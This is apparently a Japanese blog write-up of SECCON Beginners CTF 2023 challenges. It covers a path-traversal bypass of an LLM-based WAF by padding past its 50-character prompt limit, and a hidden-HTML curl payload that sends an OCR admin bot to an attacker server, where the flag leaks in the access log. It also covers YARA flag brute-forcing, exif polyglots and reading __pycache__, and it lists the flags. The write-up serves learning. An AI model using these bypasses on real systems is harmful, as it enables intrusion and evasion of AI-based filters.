はじめに
SECCON Beginners CTF 2023に参加しました。
取り組んだ問題についての備忘録的な感じで書いていきますので、自力では解けなかった問題も含まれています。
解法については作問者様がそれぞれWriteupを公開しているため、そちらも参考にしてください。
そのほかの問題についても復習次第追加するかもしれません。
目次
Web
Forbidden (beginner)
問題概要
問題サーバにアクセスすると以下のようなページが表示される。
リンク先にアクセスしてもForbidden :(
と表示されるだけで何も起こらない。
URLを見るとhttps://forbidden.beginners.seccon.games/flag
となっている。
解法
URLをhttps://forbidden.beginners.seccon.games/FLAG
のように変えてやるとフラグが表示される。
ctf4b{403_forbidden_403_forbidden_403}
aiwaf (easy)
問題概要
URLにアクセスすると亞空文庫というサイトにつながる。
https://aiwaf.beginners.seccon.games/?file=book0.txt
のような形でリクエストしているため、ディレクトリトラバーサルができそうだが、../flag
のような文字列を入力すると検知されてうまくいかない。
解法
自力では解けず。
Writeupを見たところ、AIWAFに渡されるプロンプトは50文字までなので、50字以降にパストラバーサルのクエリを置けばいい様子
https://aiwaf.beginners.seccon.games/?thisisdummythisisdummythisisdummythisisdummythisisdummythisisdummythisisdummy&file=../flag
大会後に試してみたところ、フラグを表示させることができた。
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
phisher2 (medium)
問題概要
入力したURLをOCRを利用した疑似的な管理者に送信し、任意のサーバにアクセスさせることでフラグを取得します。
ただしアクセスさせたいURLをそのまま入力しても、https://phisher2.beginners.seccon.games/
から始まっていない場合はチェックではじかれてしまうので、工夫が必要です。
解法
1. URLを用意する
app.pyを見ると、POSTでtextに格納した文字列をそのままHTMLとして書き込んでいます。
そのため、HTMLタグが使用可能です。
※一部編集しています
<span style=\"display:none\">http://XXX.XXX.XXX.XXX/</span><p style=\"font-size:60px\">https://phisher2.beginners.seccon.games/</p>
display:noneを指定することで、OCRツールで読み取るページにはhttps://phisher2.beginners.seccon.games
のみ表示されます。
2. XXX.XXX.XXX.XXXのWebサーバを準備する
今回はAWSを利用して一時的にWebサーバを立ち上げました。
3. POSTでcurlする
1.で作成したURLをtextに含め、Curlします
curl -X POST -H "Content-Type: application/json" -d '{"text":"<span style=\"display:none\">http://54.199.46.123/</span><p style=\"font-size:60px\">https://phisher2.beginners.seccon.games/</p>"}' https://phisher2.beginners.seccon.games
4. フラグを確認する
準備したWebサーバのアクセスログを確認すると、リクエストURLにフラグが含まれています。
ctf4b{w451t4c4t154w?}
Misc
YARO (beginner)
問題概要
YARAルールを入力し、flagファイルに記載されているフラグを読み取る問題。
解法
自力では解けず。
YARAルールにマッチさせることはできたが、表示されるのはルール名のみで肝心のルールが取得できなかった。
何とかフラグが28字であるところまでは判明したがそれ以上は進まず。
下記は作問者Writeupを参考にしています。
1. フラグの文字数特定
ルールは複数入力できるため、1~99文字にマッチするルールをそれぞれ作成し、問題サーバに送信。
rule format {
strings:
$fmt = /ctf4b{.*}/
condition:
any of them
}
rule length_0 {
strings:
$0 = /ctf4b{}/
condition:
any of them
}
rule length_1 {
strings:
$1 = /ctf4b{.}/
condition:
any of them
}
---省略---
rule length_99 {
strings:
$99 = /ctf4b{...................................................................................................}/
condition:
any of them
}
28文字のルールに検知されたので、文字数は28文字だとわかる。
2. \x20-\x7e
の範囲でマッチする文字列を探す
1文字を探し当てるために英大文字26個+小文字26個+数字10個+_1個の合計63個のルールを作成。
文字列全体を探し当てるのに、63 * 28 = 1764のルールを使って探し当てる。
作問者Writeupにあった関数を使って作成したルールを送信した結果は以下の通り
ctf4b{Y3t_An0th3r_R34d_0pp0rtun1ty}
2023/6/6 追記
私が当初やりたかったことはまさにこの方の解き方です。
が、技術力がなさ過ぎて無理でした。。
polyglot4b (beginner)
問題概要
問題サーバに接続後画像ファイルを送信し、同時にJPEG, PNG, GIF, TXTのファイルであると認識させる問題。
アップロードしたファイルはfileコマンドでチェックされる。
解法
チームメイトにヘルプを頼んで何とか解答。
fileコマンドで判定するという部分から、当初はMagic Numberを変更して解く問題だと思い込み。
Magic Numberの沼にはまることに、、、(複数のMagic Numberを一つのファイルに入れて認識させようとしてた)
どうにもしようがなくなり、メンバーに応援要請したところ、JPEGファイルのexifにPNGGIFASCIIの文字列を入れればいいのではと。その手があったか。
確かに再度問題のプログラムを見るとfile -bkr
の結果を文字列マッチングさせているだけのよう。
適当に準備したJPEGファイルのImage DescriptionにexiftoolでPNGGIFASCIIを書き込み、送信することでフラグを取得できた。
#python3.9
import socket
import time
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('polyglot4b.beginners.seccon.games', 31416))
data = s.recv(40000)
print(data.decode())
# GIFPNGASCIIのexifつきのjpgファイルを送信
jpg = b""
with open("D:\\CTF\\SecconCTF beginners 2023\\misc\\polyglot4b.tar\\polyglot4b\\test.jpg", "rb") as f:
jpg = f.read()
s.send(jpg)
s.send(b'QUIT\n')
time.sleep(1)
data = s.recv(40000)
print(data.decode())
※作問者Writeupを見ると、下記でもデータを送れるっぽい。こちらのほうが簡潔ではある。
cat sushi.jpg | nc polyglot4b.beginners.seccon.games 31416
ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}
shaXXX (easy)
問題概要
問題サーバにアクセスすると、イニシャライザの処理でflag.pyに記載されているフラグからsha256, sha384, sha512のハッシュ値を生成し、それぞれ作成したファイルに格納します。
解法
こちらも自力では解けず。
作問者Writeupを確認すると、pythonを実行したときに作成される__pycache__を見ることでフラグを得られるようです。
__pycache__内にコンパイルされたモジュールが含まれています。
ファイル名のフォーマットは下記のようになっています。
example.cpython-[version].pyc
今回、pythonのバージョンは問題サーバに接続した際にprint(sys.version)
により3.11.3と判明しているため、
flag.cpython-311.pyc
を見ればよいことがわかります。
実際に見てみるとフラグが出力されていました。
ctf4b{c4ch3_15_0ur_fr13nd!}